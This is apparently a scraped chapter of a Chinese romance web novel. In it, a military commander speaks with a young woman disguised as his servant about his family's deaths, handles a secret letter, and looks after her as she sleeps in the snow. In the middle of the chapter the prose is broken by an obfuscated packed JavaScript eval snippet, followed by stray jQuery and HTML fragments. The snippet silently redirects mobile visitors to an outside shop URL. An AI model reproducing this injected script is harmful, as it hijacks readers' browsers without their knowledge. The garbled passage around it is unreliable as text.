58. 第 58 章
    听闻罗域母亲已过世,邬玺梅惊慌,“啊?我……不该问的……”

    罗域淡然道:“没什么,你早晚也得知道。”

    我早晚得知道?我为什么早晚得知道这些?

    罗域接着道:“我出生时,我母亲已经年近四十,为生我精气受损,身子一直不好。后来因为大哥战死,我母亲积忧成疾,不久就去世了。那时候我很小,对母亲几乎没有印象。所以伤感谈不上,只是有些内疚,觉得母亲的死多少与我有关。”

    “呃,我这么说,你会不会觉得我薄情?”

    “怎么会呢?感情本就是日积月累的相处而来。大人对罗老夫人没有记忆,自然谈不到感情,又何来薄情一说?”

    “大人更加不必自责。大人的出生乃是天意,非人之意愿所能左右。”

    想想自己,七岁离开亲生父母,至今已对他们的印象不再清晰,何况他那时应该更小,还如何记得?

    因为感同身受,邬玺梅不由自主的想多问几句,“那大人除了罗老将军,还有其他亲人吗?”

    罗域慨然道:“我上头原本有三位兄长,大哥早年已丧,后来,在一场战役中,二哥和三哥也相继战死。如今,我们罗家,除了我,只有我父亲,还有一个侄子。”

    从前在闺中时,她就曾听说罗家世代武将,是出了名的长胜之家,不想这长胜之家,却有如此惨烈的过往。

    邬玺梅心疼的望着他,“家中发生了那样的变故,罗老将军应该更加疼爱大人了吧?”

    罗域皱着眉头寻思了一会儿,这“疼爱”二字,似乎不太适用于他和父亲之间的关系。

    “我父亲很严厉,自我母亲去世后,他便将家中丫鬟嬷嬷尽数遣散,就怕他不在的时候,我会沾染上不好的陋习。对我也是严加管教,很早就带我去了战场。”

    邬玺梅恍然,“我说总兵府为何没有女子呢?原来是大人已经习惯了。”

    “不过,罗老将军虽说对大人确实有些严厉,但仍是培养出像大人这般的英雄,称得上是教子有方了。”

    罗域想了想,舒展了眉头,嘴角带上一丝笑意,“说的也是。”

    “那这么说,大人直到现在,从未……”邬玺梅欲言又止。

    “从未什么?”见她迟迟不往下说,罗域追问。

    邬玺梅讪讪的,暗自懊恼嘴怎么那么多?“不问了,有些冒昧。”

    “我最不喜的就是话说半句。说下去。”罗域带着几分强势道。

    邬玺梅咬了咬唇,红了脸。“小的方才本想说,大人是否从未与女子接触,但后来一想怎么可能?以大人的身份,纵是尚无娶妻纳妾,但官场上的应酬总是有的。我真傻,怎么会问这个?”

    “但你原本想的没错。”罗域这时也略显出一丝窘迫。

    望着他的眼神,邬玺梅莫名紧张,但想到他身边没有别的女子,心里又暗暗喜悦,脸上不知不觉挂了红,慌忙低头吃饭,脸几乎埋进饭里。

    “别光吃饭,吃菜。”罗域给她添了些菜,有意无意的问,“你还有什么想问的吗?”

    “哈?”邬玺梅捧着碗直摇头,“没有了。我问得太多了。”

    罗域歪头掠过那碗饭,直视她的眼睛,“真的没了?”

    “没了。”邬玺梅巴拉着碗里的饭,企图以此掩盖她此刻的尴尬。

    罗域放下碗筷,双手撑在膝上,一脸认真道:“我倒有件事想问你。”

    邬玺梅疑惑,不禁抬头,“大人想问什么?”

    罗域犹豫片刻,“你,为何……?”

    他刚开口打算问她为何要女扮男装时,福伯挑了帘子进来。

    “大人,有您一封京城来的书信。”

    说着他已将信递到罗域面前,并斜眼给邬玺梅使一眼色,示意她出去。

    邬玺梅很有眼力劲儿,起身道:“大人有事要忙,小的先出去了。”

    她收拾了空碗盘,很快退了出去。

    出门站在门口长舒口气,摸了摸仍然发烫的脸。

    犯什么花痴?人家大人不近女色,关你个小厮什么事?你心慌个什么劲儿嘛。

    ……

    福伯瞧着她离开,试探道:“大人,那小子竟敢与您平起平坐,太没规矩了,一会儿我好好说她。”

    罗域斜了他一眼,没搭理,心里恼得很,迟不来,早不来,偏偏我打算开口你又来。你知道我跟人家姑娘开这个口有多难吗?这可比管那跟酸儒要钱难多了。

    他甚至都怀疑,这老头儿是不是故意的,一直在外头蹲窗根儿来着。

    他接了信打开,借着烛光看信中内容,神情逐渐变得严峻。

    片刻后,他将信置在火上焚烧。

    “你差人往军营捎口信,让韩庭速调五千府兵回城。”

    罗域手下有五千亲兵,是他从老家带来的,是罗家很早就培养起来的精锐死士。这些人日常追随罗域在前方打仗,如有任何特殊行动,他们也是追随罗域的先锋。

    “是。老奴这就去。”

    “等等。”

    “今晚我去书房,你们都不要来打扰。”

    “是。”

    *

    邬玺梅从厨房回来,听福伯说今夜罗域不用人服侍,她便趁着空闲在烛光下继续给自己做棉衣。

    直做到深夜,她打盹儿时被一阵冷风吹醒,睁开眼,发现窗子被风吹开了,光照处,竟有大片的雪花飘进来。

    下雪啦?

    记忆中,自南下逃难后,似乎就再未见过这么大的雪花。

    她兴奋的打开房门,发现地上,树枝上,窗棂上已经薄薄的积了一层雪,大概有手掌薄厚。积雪在月光下发出星点的银光,犹如璀璨星河。

    她只在门前驻足,并未出门,只因不想在这雪白的地上留下足印,破坏了美好。她伸手接了些雪片,托在手心里观看,但很快雪片就融化了。

    好冷。

    只在门前看了一会儿,她就体会到什么叫彻骨的寒。

    她抖掉身上的雪又钻进房里,关起门来继续缝制冬衣。

    熬夜也得缝好,不然明天连门都出不去。

    *

    夜深人静,书房桌案上的烛光忽然闪动。

    影子卷着寒气如鬼魅般现身在房内,站在黑暗处插手,“大人唤属下何事?”

    罗域目光微沉,尽带杀气,“那个人果然还活着,有人查到他过去多年一直在庆州活动。你派几个人去庆州一带查查,看线报是否属实。”

    “是。”

    “还有,之前所说的封天会杀手一事,可有进展。”

    影子躬身,“暂时还未得到消息。”

    “那你先去吧。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050088|142312||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    影子插手,纵身跃入黑暗中消失了。

    *

    从书房出来,地上雪已没至脚怀。

    入冬头场雪就这么大,必是个难挨的寒冬。

    罗域这时想起邬玺梅身上的衣物仍是单薄的,不免担心。

    也不知她的冬衣做好了没有。

    他踏雪来到她房间,见里边黑着灯,房门却开着条缝。

    人不在吗?

    他推门走了进去。

    因为耳房的遮光不太好,他能清楚的看到邬玺梅就在床上躺着。

    睡觉了门却不关好。

    他回头关门,发现门栓下边有个口,若摇晃的力大些就能给晃开。

    原来是坏了。

    他将那门重新关好,拿凳子将之挡住,然后走到她床前,看她卷缩着躺在床上像只小猫,不禁又是一番自嘲,这样柔美的人,当初自己是瞎了眼吗,怎么就能当她是男子?

    他解下身上的披风轻轻盖在她身上。

    这时,他看到她手边尚未做完的冬衣,针还留在外头,只要她翻身肯定会被扎着。

    看来是她熬夜做冬衣困极了才睡着的。

    罗域既心疼又自责,他将那冬衣从她手边取走,然后缓缓坐下来,以指背贴上她的脸颊。

    他原本只是想探她脸上的温度,但是,当他指背贴上去的时候,邬玺梅似乎在睡梦中感觉到了温暖,竟主动朝他手上贴近,而后贴得更紧,甚至在反复磨蹭后,最终嘴唇贴上了他手背。

    突如其来的触感,如同电流在心头划过,瞬间激荡起千层浪潮。他虽面上未有改变,但呼吸已变得不畅……

    一阵窒息过后,他狠狠吞咽,小心翼翼地将手从她脸上拿开,随后站起身,暗暗吐方才屏住的气息。

    还是走吧。

    他走出房门,雪花落在他脸上,眨眼间蒸腾熔化,也将他心里的燥热多少熄灭了些。

    这时再回头瞧这门,怎么才能从里边拴上?

    琢磨了一会儿,都不太合适,不是会弄出大的动静,就是不管用,最后,他干脆从外头给她拴上了。

    *

    天亮时,福伯起来,去叫邬玺梅备早饭,到门口时却见房门上着栓。

    “诶?人不在?”

    他上前查看,刚要动那栓,罗域从正房里出来了。

    福伯迎上来,“大人,您起来啦?这小喜他一大早不知去哪儿了,门怎么还给拴上了。”

    “她人就在里头,我给她栓上的。”罗域道。

    “呃,啊?”

    “我现在去府兵营,一会儿她醒了,你告诉她,让她忙完手上的活儿再出来。”

    福伯一脸茫然,“什么活儿啊?”

    罗域没理会,“对了,她这门的内栓是坏的,入冬了,被褥都还是薄的。我们总兵府何时变得如此苛待下人了?你这管家怎么当的?”

    这还是福伯头回见他对自己生这么大的气,忙猫了腰道:“老奴年纪大了,您是知道老奴这记性一天不如一天。好些事儿现在想着,一会儿就忘了。”

    “你现在就去准备,一会儿人醒了,给她把该换的东西都换了。还有,给她换新的,不要让她用别人用过的东西。”罗域吩咐完就走了。

    老头儿心里咯噔一下,看着邬玺梅的房门直摇头,这苗头可越来越不对了。